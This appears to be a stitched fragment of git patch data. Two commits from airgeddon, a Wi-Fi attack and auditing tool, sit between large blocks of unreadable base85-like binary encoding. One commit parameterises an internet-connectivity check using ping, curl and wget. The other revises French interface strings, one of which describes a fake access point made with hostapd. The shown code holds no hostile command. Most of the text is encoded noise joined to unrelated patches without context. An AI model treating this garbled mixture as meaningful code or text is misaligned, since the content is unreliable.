z^UTlmVlB3WVxm$dc%FO~GmFlWY}NoK95o#10(nJrrO>EG^@Hz__a@*zVn|_%nCPuG z-`Wz=WED#G=Q*=c?)Ami=JwkNtM`5@IPL_IZclye^;gCW%XUYtd>J?&8PWH(BLnOn z&1bR@S#83o!mI+^6l}Yq?hX@DyWsx1(+_@C-X5YfNjJB-F`GPw=VPS$YcXQGh+vY) z++;K8fKFLD$+Tcg7*j>cm`J-iQ_P?--k7M$0irf?WPMpqxCs!W)J~V&oyd zEz443Tf!4ODeEc=N=P)$7dwRmi37y({GymMZRCqelj~u@9LB2n`#GLey=H<#8R0zj zp;q3MS@3_Nz>j}0*dNIJ{+4x9ym-^K=-fS`{sSEBOGIMW13!oYTmzL`#u+-B5y9|w z^w5#gwCl#3bVq{pgCf()|I}^8K8V9*RE1qOq=}fkE|~z!sF5vme?qWx8gp~PWR8>98L}$%hBny+qpPP$2q|GsO zf*u{VO!Y|<`VeSF4jZZbaV=~kgbmHklL~9*)~?+grAeI8r{+$iys{HBYHY4GC*jjY zrmf6dxMm}=pHZy#Zp%M14*&}fg+*sC9+=^+2n^idWiIT2{NIv5Mf@qC&T_>G&rHLcZ3uI&3*$z)ZTt|R;wBxoX3J))pG^+rUw?2JmU$VR$k)bCI|XG* za#AJoND{HMoWUGHCCNro|0*#1On!atx@<`tqm_9+di@NH``kY)9R}dNga$lo+n|&D zshZYTj0k0Yy=h^r_&`c6rP{XfY14z$EeFgHn=-e`YeBwfbv)1x# zMqALviA+2lQ*~L);bNJ9w3YE_%<)vd(sbJbn_>8pe+T*8z-|6Il7tKblg_Gm(-KnJ z9Sc*uTThU_CdI8wEzpR&3c$IK6k)-#P@nV3HcSteN5<#DNmIiA_Lm;pRKRX{C}_he ztjbIvnG#n77i4C)(o|~_wOCHrb#(xs!azU%j^;4(vuZrVBw>!GLFQU%}oXMUA-KZiMz8&Sk;yczR7`Ar zlPz18w;o8vjULp`R&1stWV9A#PfrV-vK8i55FCxL6{Stv=pXAI2G-_(Ot!YI~-VY^s{RH}P>}Ny{gv5=Rf!UX@-$w7YYn_hhDQ0+tlqB%H~Yx^dIatlz|1 z^gP3M)y9md=wC0w=48lY(Z7l=P~sRQRye;Gn(xOeUdyeT*v6%UR@zQivJB-tkmM4~ zxC)ityhN?Ze`22*6?jaNx12!FPx%U4O<^d<0CXe?5Xg27nR|h09{FOVcA&;V{HhQ- z7RkNs-KQ|EX)p1_^s1HPu%Q9%e3xhNBe(P{Lz%BUPP;Iq7$d!fSdoQKE!a<-R2`5y zQ&pVnkYTcWTSEu@yl#c}=s(`~9W7D0bo}bmpw?E<^wuSZFlP%#T763R{z;l0gjSe7 z;GTeiaseLli{-g*_87`;}~W^k#p70hhza*T)Qin(dT zxf^Bt_kIDpMUJ%f6-tp{NT^@0hqe?^CgUN)lWo zWP}x*B`WC3LgQvF8yN_3jDlK|m_-y{fvkZ=Z~3$)aWs0peElL!(y*=^!`gYA7LQ^( zLKgaLv@+jO->bUN87LmS{X&o$h{Y9AIS7g zHVQEWetU)}r?d;U*E;s{1~exgKYZZ?xtBAtKx^nKKs2R~ z6lZ(CU14mcXp5o#!%C9QOGqDsMoGzK7rPdK7m0-$(Nr#Au33dzdjb1O+jjtGK$^eH zL_{Q?pLS9=6koKYAz84OS))8JF}!iebR)Fs#I@MA{tHt){Xlqv4`=5j5NmAs;Zb|V%a zO>pz(fkM{KcU|Pc0}lEXhlV3`_r~SbL`xvEm0yc|NbbaFmN>Yv+_d%w#u0Mz6>qfl zswyhga zysDhOE@!MID9PfHXnoX-`73S;%MjJTg+dHh&xHANGU41|&i5%M4Ko*^<>qjbwWw3~ zUOtm?!(?5(#Umn2j5c@hY5?VqA5EP_P7xj#V;&i2*H*DjN!)_Qi#X9;5@Ys~46#$t zD36KVR2b#y9y}V-!mjL#4p7jEvcE%=*|pQ)PPAQ}#I^Zeyj0(P+Ird49$qwdp}$rz zOtP66D*OGJY(H~Dv~8Ey?;PtlXK5IP?P~&smh8!N zcp|3&KDqr(M=RgUyw5Xb^R_hQm$z7#L`%dJF0!(qucffVj;RKtW}hUsm+Xu5H)Qb1 z*XySPhAXvUG(Kcvx4<>PWbQ6lAreOuBWF|3ulOIKmSF)TY>txFH z=3Kw<;~e4Sem3$IR05dDTu3x6_wa*sTM`8nu9gf(u9o3PcjM|mwz8>gpxb9@j0Fqa-^bL95*C$r5vhwh z%=hV?u?>-)-;CIEDtA&)OzV1F$2shOBL$>?>yqf4?qwb~o&X5$NA$M)jrx2KF!+}` z!d=f1x37w1fduWJs$SzNbgrV&1}Q$dsU$4VTR>O#N1OQ2zl)9LP)@f()sI0ap4UnjVU07}z`Q@-ji zuP>7CB(>rf7nt$ZtiOr3seg3Xsc7`;n_{RiN;W)3rKn8KpIm3O1j?}??883fWlIr8 z1S+X8-vArR#=AmgX!1mEnbz83y?sJY-d={dpV)51aBeZ>uTnQooys9KT#$polPa?ZKqA+Bzr25{%L58?{bMNJ~vg(OZi-%umbHNNQ~ zHO)O&HT=+TIe|F|`g+}W%DOLg!3jL2#;IaK%fcGhV`JHOlPl73QrO7IDLQ@?#EshG zr$(`ZtZ+fwrr)QZJE_H6`Jh?hQ*ELiX<(lDMo-bC3BRwd^*u)TvYcD)r(LRbDN(S$ z6wu2zSdM@Q-V7SbN^GMR79-+8qwG4_Du*DH$(Y^t3f{iVC@BTAko~`R$BadVhIuV+UTwU0u z$wT1L$gU0l_q%Yy&)rtCv^%`}Lt}f=6#$8zTdVA{Bh%whh_~kL>GA^s@LUDKoCXx6 zI_5_;T6@XmIps<6lRNDHNt+33R`+>51--y!YENNu{dTBH=Qh=|j>(F|M#N7$pDbmz z`~Lkbt$~5Lp-B{mV8mB<((=>;6O&zqk!~l7i2xTe#TtQex_or)$s(pzmH{#A5+HNy ztBFHL4EDl&Y;Bh{_7|v=w=Mx6(xN3hWz6#3e0EukZge+<0Qg@xUH#$O`9J1Jx?W5mz%`<2+}0HQgJvR;1%BfeenIDggKRF-ZgVW#zSCi#p7bqa@Z8CubwdXXXwmE3RdDX4R; z*F{)PvKo)F+2I)&JOo*+bd_XqP`Im3yG@#({F>Q0TnD4d)gIiz;!XZm5PCUTNYJQ;DX(DN^^@wB zqH`^cZ3KK4Wa;6ZTnTimN#LNJUts)uqRGDu_*$UhG_}DGK^mB*{_(tr5RY2Oja7CRQ_p<`E z_Mx>q(0Jmh!N_0FKA`if>cuMLD=PZKMaW?1zy-$Q>5e|m7mkU9I@<;q3#&y8_FIV( zQ}5-($P8$W)e~n;tfds;1BsWjs1kUo^{rt{TTTkQ%HA27IvJ8;;b%H^)bNw*uELvG z81mvZgens(fPSeWW8g>6)$Xm(VN)SP)v{Q2Gx-~iP(ZeVl%4T3MK^7=w1?-jZE zbb@smxptl=vytDgD|IPQU?6eE;6Hb=KcnL|>xTMKE2rtb|CTg%+)Lj}!W!7s%3K=1 zBj)yTNTLYhc7M=i-aAExEtXxv{!XLsY4v?n};d2 zJ*=Or-Gy-PSzbugzcJOzTpRN^^nZ1oDj<=xK%RT_y_tvK^6CXA$zP5hvJ+Ke4x3VO zF1Hl_73|yFepM4jgo`;P(P&RT#iSP!UB2|%P&WoQrm*q-9 zi&w*(AGSIG|OuE~jH9sO~Zw*Yy&2ARKW-B#2`YUnYcgjXw3R(m$S+B-Ata z0N4~$vs~65BT+Tmz*`9EzKEYs2!8>C=-W(f(BRvUQq%V^_ooY4qa!%D(Vx7By8wiJmRe2``zF)xamdOy`E8W&b{%! zuCgKYe8U?}$>BN|7LFw7SCiWd38O4^Kr<3AQKQB$<{*y0yHnI$WAA3?S&T|^KPv)~ z8p2csX=Lpf3BHV=8`DT(X~Y@$K`&TMTSnthEX-hY+rJB%*HE-6ziw-IQ{3rpkto*Q@2vnWvumrXi6g z6I=&^IozIQTz?NX40s|kmhn4exgk*@+xy@p#MEvY>MDq#k37`4gmzjT{ zN3pQU+F(ra&=H6eqD98mst5KQ$K!8K26tZnvL`-R2F}B?B8Xu?{B1Oqmbc0!iE+2bdBma~4T|TN2&I zZ3?psOm^z=072{XrgE9`rqg$scKvS4n4PVIYCGP;S`%km2LO{Zhq6CzU~J|v4VbxB zu{xrSk&2WHR77#fh@3s>S0C@BPu16auR|DblGaaPlL5|6oo{y6c~)$~*675G$Ye}= zxJbEo-U6wg;7J(s>D2#eWA9WD>kG_o!h|m!Zfe+e7+S1aXe`; znDeWW0$9!z%v3?96)C&x>_CC6YGN_X(&ZNh@iw1s0!@RZfIQ=g=BclL9CP8doDpnZ zOmsgL149Ihxz5m10!wIWFqGIThh~)L>YcQ^?eDz%CHD(qDQh}iOyRQ>EK1vV|}s`c-6i zi@$*F-Yj8hOX=fcKt83jQjCwE&3T5b6k^_$r`avpsvEd?OFBDfXalG={Z%(Uu({7wQP9^~3C957b&@&gv+ACdN&nX|`PMbm6R!KGspSrI+d!tg~WS zd+HU4pV5}IO(Vt_X1bpuTyWqct;MmKwkR`I>1XmenYOJ=gL6w4R-AHvp477VggL=Q zA%sA(1|8R#h@Db@B&O^#`sX-@uB`)!F-w!{g>TuZjfO2nVhCB_?VE#u+Lq^+oC22E zrf2iWcsoa|bKdRVfH0}E=u65Dyjh-LoHgBd_x;DaD2gF5WE$xrZ{)2G(6gtTd^4OI z$jW`&8?5a@Eval1qm3!d+D5XfTTW-?G}c-7#_l?YO|%q$+nUa_d#=tAVp@z_J#==V z+x@n7S7~QwW>txp<+oGXF~f5gsOJxQ(v*a^=}4blx9BlVt2_Y;YF6u_kYXfECYZ$* zpII+-moI%RoMw(R#n?_k*zEw8m3Fg^ASJ}aQld3%xF z{pMWwN`|(7UB&iK~Id!#t_|-S-dhJUt<=#*H68C=M zm!9x3?)k(oarY;GiSKyP;jN^{t|dLM5u9eCo-jy%pN;Fl{yk61F>-OqE;=u4+y5Ft zy45DTd%}0u*MIrPkG}E*xFV!XyvjEp-*?@m3%u(W-^Pn?xQ2W0d*rOg|BrwAR^Isf zo9OpDeDda7dGk;G`s}fH{7-M-Z@uxA^!r@~gAq5p{ug$<_QUV}hg^NtWqkZoU*bo9 z_IJ*II@Zs><9E6J$U66a;+HtKa*8|eeu!7U;w4=5s(-YL&I=8krk-gt^&7qkebRUR z;@i0CjgMWVW?9XfKgB`EA>z<># z7h^ZN-??r-vd+z)z7>Gq`|Y3QUGMyRJ070`>Rs>rd))kipQqpJ@}a-@47VRy=i{IH z5&-Z1<+tz;>q_@@8hU;F{@dEW==_q!ZCu+01a_+vAx_@h7j zJG|$8A7n5XbM;l1arn^Q+3Ti$<*)zNe`4kMD*yOreu#Jf_J?N2di5(_!nId_U$*0O z?E0eTi-;a$l=$x2UAvZackQlSknXNsknXPCwF}bSwYzpfy1RBky1RDQE=YIRE=YIR z?%D*~f zvu(Nt=bCOU=^W?IwPT`W+w0QVuiXXdMF8?V|GEV|JMTr>K7KOmSf&<`?yNVNON7^iJgla?=%wPSij@+>%Ox3tiX^pyrg3dD@$V;<9!EDwlPL7k&e zk9v=#L{m5DWRub+M0G?_%(>QT2_}l~^eK9Ch&q}u$|A2u3pzo6R8i-^7nlj+94fg< zQHuh6iTVPkN@{9isENZ(EKHE;?4p!KiJd5F5K|(A28o74aH0ffG#;pHWD@W(q9RPn zJREmALPs!U;xG}C+pfl$?_d!?(~gNB&%|!uZ!Acsqf(|*4Mi|<8ECF(LE-U5iE{-~ zmhJ3T$@6umn(~@|HRWSbVr7My5iMe3M8KRPoeJMuMEgs)(h&=Xc!!jpL;`h4(Sf2O zCGcgLU)$O=hkZ$e%@}F@ zY!PX#t9-M7^zrq^W!pw3LQ$YaiMRq^_-r%O zA-+V4iWm)(0=H)Yo9~hek92#){rl1W9O^yEI}BL#&?!9T6iN@yQOCr1oUPh?S)yiW z49t6BIGM12u`ysg7=nUJWA-i1v3F^KZXtxph!dxWtZxn|y>fW}UJf7L!*ajM{v$9L z1vW;3)ZTEDrpBg|kWGkM(3p@Ek`w9_DXK1r$5hxHY*IH3;{bI7sTm_-LaIlI2}O6F zsw{B^OoX}cdTXAN=Q9;9+cpnM@9wY-&)V(V+WcEC$L-CVL>t~ipk z`bL&#nCJJ3m=ltDikK};@_BlRnJ4)IS9K_>4yjO@(HJ)#A#p;Zc@i<>8XE-E1TkZR z<;fI(A)?MWN&ZZATEK75kio_Q`gw4W=NmpQo5XMQ{&3{P`<^)#Cs z10HzfZWyb> zFVAtsw_MHstDcLOg2{M9JbsFe6YGRJq2}0s++3rH0l`5O)EQN;iz;a8*fZB>abYgs zr>dMhd7AM!^2o_`nmQ8K*GQ9btGVy-`wwyG`fIrUW!FQm&!i~W=ogID6RJxYC&y?M z*xcA;G8$q;Y<&YgwMu&U2;s=Xj5gQNl-j^cFz3L0KG!j3ui59F%*0~|$pnjejJb(_ z%h)E&g2|alYt?Opt*I#@npLlviZ2_Oq9ScbxGh|kGpLVt)S}2GZ!yHp0t1~+V*}Ju z8#GK0q8Mp5AlK4XWS&SUi89ofH3W4Ou7~S(NWB8o2%AIP#s~|M+C@wv#i+s8V^Ro2 zQIbgej_uYe2_cWtRts2aF!Qr-luuEAg?XXq7xc@LUNnZ|O*Y0OLP{+MU_b?0At_;m zHaMG(Q>?dz+3ietV*8xw{ayk^``857AaDBGK3Chv^o-rewXdBG)NCIQ+ukp15A)mO zmD@gx0|FkS@`Abw(GH!mM4d;SV`9cA)L4@sDXA>Ld5lOT<Nm|`E%xfah!rn zEmPnUp`3@Rk1H#RGVfx|c%3j_Yb8aEWUke(HN+{ZifNv=VB)qcrf7Q_wu|KE?`)2SjyAzW*Uasuihsi`Sb0>+Fh#V4hIY>e6|vB)E21eZ^mfwzG7N-g6z?4U zUY~NlPqc)pG8v5-jmCItM1*Lb!g-eF`vekNcozB{yk>W1IIKCfGGu*!V~vy|<8j04 z>INs)2TVpIO7G}Y6}?Ue=M&z;^4dTo;=p3x+5>f{YL9 zikn0%wzCsNF%g{kJcY)8nrs23gNOsmb5BL46K<6x1?pU$JvE*AmD=N}f@WC)!E^)3k;R#9YI6)D#5VR<;_Kl-~_LkUl z{Y}(mNptFEtlvi$JdkLTAfba(NA-ehD6YDKR7d=mZlyVO0z!j-gn*@hEiRF+crN9E z1IYeESZ^LJ3v{VVy>B1GvZR~@ij$|{p4*W79>Uj=a(S7_C5KqNWDiT-4wLl(rye>& zI(Zrm6FPh5*t36`<>f`Hs^qeR%N$?Lqb|qrOM-N@GJ< zd6?p>chG(GVaCJLFc=X}Z4ibH-c^+I9ptjZxJxcYqeoAF4H@13U$J_ST|hD;5mQ4j zquRTlUa!aC*rUYp0MS0ElG=%XqM3J&A{l^^ciK#&=`2Qx2x*#1qtg{~^-XR@__UA}* zdr3=kxc&P`i_7?hy|}qKtQ4X%k`x$Shz(7uGeeNa0OL%s07)8BO1KmuLP&yzNlUQi z!B?W89r2Y3d=&+hV78U{F>O!0Wp`vs)3%ZR)E4A_bLntmsJ0w$J2%v#$6~@#YaAl& zV6q0(gDbQ35k)Gcz~Q1n$m1Z*6f7cfjMO7+G{7bUY&a&J8enUi6vK6VG)9dQ9r(E( z((BQgUnH6`9&VzmE4Y!*E9M?LK$?^nn6G1rq785-)EhF2~k7tHpwsYch zd#7yCES57fy*aAIeYjp1fVe&&oLJdoJh0|Gi2<5$oxYm$}B(z$9<$a`o zgZoHJ%it?CjnUyc@x(F0BS)|!55uTIA_N6W#nEI}uIS==i94(Ioxg<^$6%Is!H011KE zG)z(h4obA;TRq~GR8L4^q{8DS5gpe^6G#ThgZct-E`u1L*F~!?bbHw+9}m&Z6NJeS z3khpt=67Sh_qFg)cv4m6w5x9ix2XfCI0TzCq;W&4o9vfW1@!vhOU%1`@#=_wh!QOl zEuy4091x5G8I6g!A&BC zz_^=}6H-)Y*}<0`=H(SPOL1^P8U-Tg=>RUhb2Q> ziz-P#5@t=_eHkyaqH>ZLG?8Yo0i%t)B0>nluTxWOx(AyIe4nBBX{iom_xKw28>9Q465nR!Q1og&oLO4PQHEx_>5-_QMNj8R5gDOq(`MPMHhHR2O zZE5{V^{xdT+X@$_4s*WIjp?~+9<#3PX$Mj}rzK4!KfTKwB!{G2RAC~-X%&zMtjv*} z$?Q%wO$3eEcO&PkO^k6Bb2Mv$){{(Us3X_}VPiJg*i;c*oAKCkK}-zsKKrUgiFl8* zY(*?IZ7~LaG_<~&^Z6pCJPga){5vUPA>>Fq6-0wL7!#YRna-mcX=l3U2y=!4Bm=>8OB5YcU#WTbwy*N0_llZ)Ui@klOe28uRuvKDrW^UTH6uNCwQD~V4xkK zcIF_pt$Fjzo;&6K&V2r?x=7AZqI0eRZSok8J?*Z=ZawKYeoY6{o-v?Swt;g8aL@64 wd#w2>R*yCKc6XNJg~d0!r(kzI-Piwr0G({bfp$qa<^TWy07*qoM6N<$f**Sds{jB1 From 9b5b4601eba2c282770703945d6a4289c2382fd7 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 3 May 2017 00:48:29 +0200 Subject: [PATCH 27/28] Changed check_internet_access function to use parameter --- airgeddon.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 26e33da24..951968c91 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -8289,20 +8289,20 @@ function check_internet_access() { debug_print - ping -c 1 ${host_to_check_internet} -W 1 > /dev/null 2>&1 + ping -c 1 ${1} -W 1 > /dev/null 2>&1 if [ "$?" = "0" ]; then return 0 fi if hash curl 2> /dev/null; then - timeout -s SIGTERM 15 curl -s "http://${host_to_check_internet}" > /dev/null 2>&1 + timeout -s SIGTERM 15 curl -s "http://${1}" > /dev/null 2>&1 if [ "$?" = "0" ]; then return 0 fi fi if hash wget 2> /dev/null; then - timeout -s SIGTERM 15 wget -q --spider "http://${host_to_check_internet}" > /dev/null 2>&1 + timeout -s SIGTERM 15 wget -q --spider "http://${1}" > /dev/null 2>&1 if [ "$?" = "0" ]; then return 0 fi From 06ec8479c921e07e4fcbcee2fc721450021de389 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 4 May 2017 22:17:04 +0200 Subject: [PATCH 28/28] French translations updated --- language_strings.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 691fc14c4..eddac119e 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20170422 +#Date.........: 20170504 #Bash Version.: 4.2 or later #Set language_strings file version @@ -3658,7 +3658,7 @@ function language_strings() { arr["ENGLISH",420]="It has been detected that you are running airgeddon inside a Docker container. During this attack hostapd is used to create a fake AP. This component often conflicts with network-manager. From inside the container, airgeddon can't handle it. If you have network-manager installed on your host machine, close it or kill the conflicting processes or you'll get an error. For more information, see the Docker section of the Wiki: ${normal_color} ${urlgithub_wiki}/Docker" arr["SPANISH",420]="Se ha detectado que estás ejecutando airgeddon en un contenedor de Docker. En este ataque se utiliza hostapd para crear un falso AP. Este componente suele dar conflicto con network-manager. Desde el contenedor, airgeddon no puede gestionarlo. Si tienes network-manager instalado en tu máquina host, ciérralo o mata los procesos en conflicto u obtendrás un error. Para más información consulta la sección Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" - arr["FRENCH",420]="${pending_of_translation} Nous avons détecté que vous utilisez airgeddon un conteneur Docker. Dans ce hostapd d'attaque est utilisé pour créer un point d'accès faux. Cette composante a tendance à entrer en conflit avec network-manager. Du récipient, airgeddon ne peut pas le gérer. Si vous avez network-manager installé sur votre machine host, fermer ou tuer des processus contradictoires ou d'obtenir une erreur. Pour plus d'informations, voir la section Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" + arr["FRENCH",420]="Il a été détecté qu'airgeddon a été lancé depuis un conteneur Docker. Cette attaque à besoin d'hostapd pour créer un Point d'Accès piège. Hostapd a tendance à entrer en conflit avec network-manager et airgeddon ne peut pas le gérer depuis le conteneur. Si network-manager est installé sur votre machine host, arrêtez ou tuez les processus conflictuels. Dans le cas contraire vous obtiendrez une erreur. Pour plus d'informations, consultez la section Docker de notre Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["CATALAN",420]="S'ha detectat que estàs executant airgeddon en un contenidor de Docker. En aquest atac s'utilitza hostapd per crear un fals AP. Aquest component sol donar conflicte amb network-manager. Des del contenidor, airgeddon no pot gestionar-lo. Si tens network-manager instal·lat a la teua màquina host, tanca'l o mata els processos en conflicte u obtindràs un error. Per a més informació consulta la secció Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["PORTUGUESE",420]="Detectamos que você está executando airgeddon em um container Docker. Neste ataque é usado hostapd para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do container o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["RUSSIAN",420]="Определено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки для создания поддельной AP используется hostapd. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. раздел Docker в Wiki: ${normal_color}${urlgithub_wiki}/Docker" @@ -3666,7 +3666,7 @@ function language_strings() { arr["ENGLISH",421]="Doubts? Visit our Wiki: ${normal_color}${urlgithub_wiki}" arr["SPANISH",421]="¿Dudas? Visita nuestro Wiki: ${normal_color}${urlgithub_wiki}" - arr["FRENCH",421]="${pending_of_translation} Des questions? Visitez notre Wiki: ${normal_color}${urlgithub_wiki}" + arr["FRENCH",421]="Des questions? Visitez notre Wiki: ${normal_color}${urlgithub_wiki}" arr["CATALAN",421]="Dubtes? Visita el nostre Wiki: ${normal_color}${urlgithub_wiki}" arr["PORTUGUESE",421]="Dúvidas? Visite a Wiki: ${normal_color}${urlgithub_wiki}" arr["RUSSIAN",421]="Вопросы? Посетите Wiki: ${normal_color}${urlgithub_wiki}" @@ -3674,7 +3674,7 @@ function language_strings() { arr["ENGLISH",422]="The automatic update has been disabled when airgeddon is running in a Docker container. If you want to update it, download again the image tagged as \"latest\"" arr["SPANISH",422]="La actualización automática se ha desactivado cuando airgeddon se ejecuta en un contenedor de Docker. Si deseas actualizarlo descarga de nuevo la imagen con tag \"latest\"" - arr["FRENCH",422]="${pending_of_translation} Mise à jour automatique est désactivée lorsque airgeddon fonctionne sur un conteneur Docker. Si vous voulez le mettre à jour télécharger à nouveau tag image \"latest\"" + arr["FRENCH",422]="La mise à jour automatique est désactivée si airgeddon s'exécute depuis un conteneur Docker. Si vous voulez le mettre à jour vous devez télécharger l'image avec le label \"latest\"" arr["CATALAN",422]="L'actualització automàtica s'ha desactivat quan airgeddon s'executa en un contenidor de Docker. Si vols actualitzar-lo descàrrega de nou la imatge amb tag \"latest\"" arr["PORTUGUESE",422]="A atualização automática é desativada quando airgeddon é executado em um container Docker. Se você quiser atualizar faça o download novamente da imagem em \"latest\"" arr["RUSSIAN",422]="Когда airgeddon работает в контейнере Docker, то автоматическое обновление отключено,. Если вы хотите обновить программу, то снова загрузите образ отмеченный как \"latest\""

WdX%AqbHQc_BaGftPM}IVjvlpNX1sVE4JYVr+&{+=efda)&Tzml zePN(5Ve)OrjIRDZa7|Fa@#2|psNkBhtu~`oTn-0IizT^s1n9SRVj|to2^lU%$c{)} zBlzcoli(v|e362|w~f!^A=Af* zTvV+|(&5`@-03CNfKbRWo&V*{jPOf{$`bzsz2Z@wR;4TcatWF9qFKlF@OVH5oM&Pe z#U2Ye*X@*z_*OH^v#)Z37W@D2O!*)LAx+?*O_e?Q2sh!$ELO6f>eX3prECh0S zRT-hQ_r@yQiXgn?B|*@`Y4fuV6P?IYw9IJjh5-q(t%&Sz^c6?Sf=S-__ajmktC|wlE6KzGS zdkUd?*dOQ{`k?OZf%iTSGw({XtddRr5BRmpC6(f?QmB#-@wvm3_zouzQ_hjD$x&6x z7InyD*2J%YH#gN6SH6;GG{E^Fw$38W1ucWmK@jDNDkYH^oe;iZIk0|o4Vy3?cPSm0 zTQGO8saY&B!hYfQIt@rvH^L9lElp^QpCJr-b@2d8B_*jV)1Fbf>L2` z4xmp3SbnW3}9--IwTB~K_Qy1r8vEXwEb%@0Wx-OCR zZ$z~O5)#4Ywuy(5l)86bNebPyjXs|%ZUYCx&2CsEx{K~Vmw)sq7k$){$jYITPjOY~ z&@r#+qD0p#4LntttXuELK~ESg8?hH)s|J}F7J z5#h>UH)q>EoOvy;X%-akJ^P`__&PJR_fw0eX>C?*#QeNOD*W*JvZ&2}az^S_(hTb( z$I=bM)evO&-YbkO2#+Cbfr^7-Hy+@bc-7bW<;P)AqoJ$ zmShg21TYvPW$z`w@dw$kw(WHC@_jm8N>!9FY~#5QH-0H2pe8VLj{%QqAn8FYMRuYf zOfEkL#x!5Ve@{{y>H#W$bZ%s~!9x^fSxJPVJix!{;>aOI0UG-w78+}4STesXC7iDF z0G9^h5!6jyNl%Sa{hP~IA?1RsKm4fHw9nT9woM+&as04h@^*dP-ro(G)|M&3epn7! z2|)ug(ZsPaZJLoqN)!bQr_{6@U>(nJrp3$Y^18Y&0AQ+t(0YS0G==43+cIcVsLw}~ z<$E>ZiSXe7hZhS*Xof3dGVZRjSveKSF=~9nPjVGrTdpNHFq`F=ZthlcQgq0vIhiyr z!Mj6D`nf+LK;<23*%-xtDMKde&=wg{B;ys;nZw^>nhmx!7u2{K0gS!zkaSP_R}9)1 z5a?1w?@|KaKhLia7H&0;}VKeZ-yF;NtpLk9Nc0|82WdtVgz&SRNYgfw@ zUd#D!G7JXLpH?w5k?;Z2@>FjbJrZu!9zx?QT5f4^&v~CV_p3JBpn=fKW+jVGj0x+g6ar zQ*db7Y&XW6dVJOy<+)uw-PFAl>$Q~XVU;o(aF8ItN{4GLrif&gx{)()h+(OizU=k^ zDmH(&G6*&c<; zJ0jroe49A#aVwW~u9P^`?nfp<34c8G5TH(PfP1`>G0@I#3zG;L5S^HbVRzbP@|DjD zbTo~m`INI1^<&$o3+Y!b6vBT@IjoL-Kw9`3=f`mdB-)H0$Op*tn$T%c$v5G9)!~{I zzx!4jxakxGq%^OThiruxNTf`$is-zsK%1=EF$%MEa81Mgi#R1R>wgoFq}%lOvt)@* zhTdSVeux-Vw0`5E;-gvMWx4-mVPM!YVu##}yNy$irb#_3lKVDxIE8G!fZ9qjzDpdP zqM$`d?k`gS1ighvc$`8WzgazRUK-xVGqEPLfJK9HUcbnG7uq0@z!P*b-9AB)y?m9x zE&bFgu`&LVF+jg2)itw%L%8xBYM7M%*sYNQ`IvII+~TENu&No-qtpvBJN9${^v1VZJn``a}|fq0dsV_BU5d0 zqcyolfEdoTr`J!-Y|7Yih4&XiFpQeaDJcWQAjenjlp-Kp0>}q;t>-^Dw4NIze_wLU z16Ek4?S3Tvh?edU00RvX;;^EQdu#mo{h94&P4AXKq55AKP5J`=wWas>^{z zfh%-OVxVhDla%5Zy=pt9oqxBWA#mCtzOBhPDf55Ga#B>TwdnY144O)+#K<_N5n$j) z7Yfi!C45wgmG4zJ;=Bq{QNcZJ9IBUkujjJH&6J6Tq*r1g%>8nHMURujtRYx;i_}sR z`Pa#)0MY0Ekm=cYLJ&ZKkjO?Bd@GXFOH=tDEx%aiD79HVm&Bi!7<(P}leaBgv%Q2A z_S|*e6^>$~oY9g&++hH&VS1+&W!P?tbl2?{(8F;-o~9HOhOvc=I85$Te7U z-ADl z`yB5yuFq<6r@g$)s{reioG%>T8K2smz==j$*MiaQLW$(=O13e!l# zA|zF(O0x$OD4cfk4mk%eZ4nI_H#MPJD7$u9j!X%rCG_G@+_roP7eah0Xy!L+E?zOL z0qYpap>b$^hH%29@;)K-jVAf1h3gVR^Bqp$1pdRS<*ZM@My&x%A9AV(&3K9hF2A z^BaM@c~%x`B>4`zqU+b_tkw!b{=P`;vNL;g>0lTwb2y4U;rQS=Y84U8TV}=-qvs8; zxj|qaBHFw4+BS|gO>=N z()>925Ddp@-)~I3Hha(YBa&IO$P~12Q|kYT_>wGL9B#d>bf$OnZ3s-I2A`0Hhne0H z>@3DGhM7t-5Bu%rH@J;pFHBkYnrBDW(z1#t3ZY4epbvHAR)@`BqEJ^4Ur1%*UkSAi ztXIGf9tWdV3>3a)9OQ2R)uvlQC3F4pb!u_iE~@fVC+1;tRQBb!%_=8+7S*?iI6;eN zN1k}cC0huUuqcDg{4*wajFMyQSD1Bvbj0EC@Q5qGQ-QLP#yZ!tyMKF7-15Pm%R&Dc z)L{X;Lu=plKEzX`^`XV3#7oBPN+jaCg>f4SKevk;S2vpgZiV`yOe6Da(x)MovOnI+ zav^UHeVhDKebJr6#K6rx_%}W@0l`dEG`&D2mRXQN>DXK|sDD5~=X&!wM;mW%tWb^X z*Ynuw8c`AyBJ{@__!Qe3!|JwMPEq7W%)V8}=#=Z_F7ak0`)6b>(Q2cvp?7CJuu$Z1 z9C1JMS%?}fpjBR@G}h3N6tXHaQy7`)v0so>`Y9tHs3sE}7m7dYc0J(+edN*Vs`~nR zTv>`qk-Yvj@7%1-j?-}Lg?ySf40GK#f|oN&N#4~9gQ`S9a>0u)oCq>yS9*@mF8`r% zS9|%Uo zbv;tWu(Vj39wxa2Vdqo9zKkQUR!fsa-)~wf@uAk`RucT`ZV_1T zdQmS!mj9<&39=)Q^gn|naLsNhdfe6S>UXSt>GnIwIvo5s4u41uIRU(z`fBoz;PoKtHn1Vioq>;^qu-(Jx&-t+kzK3ecJu-QkAY*%yv;q|iUzE5>V<=G 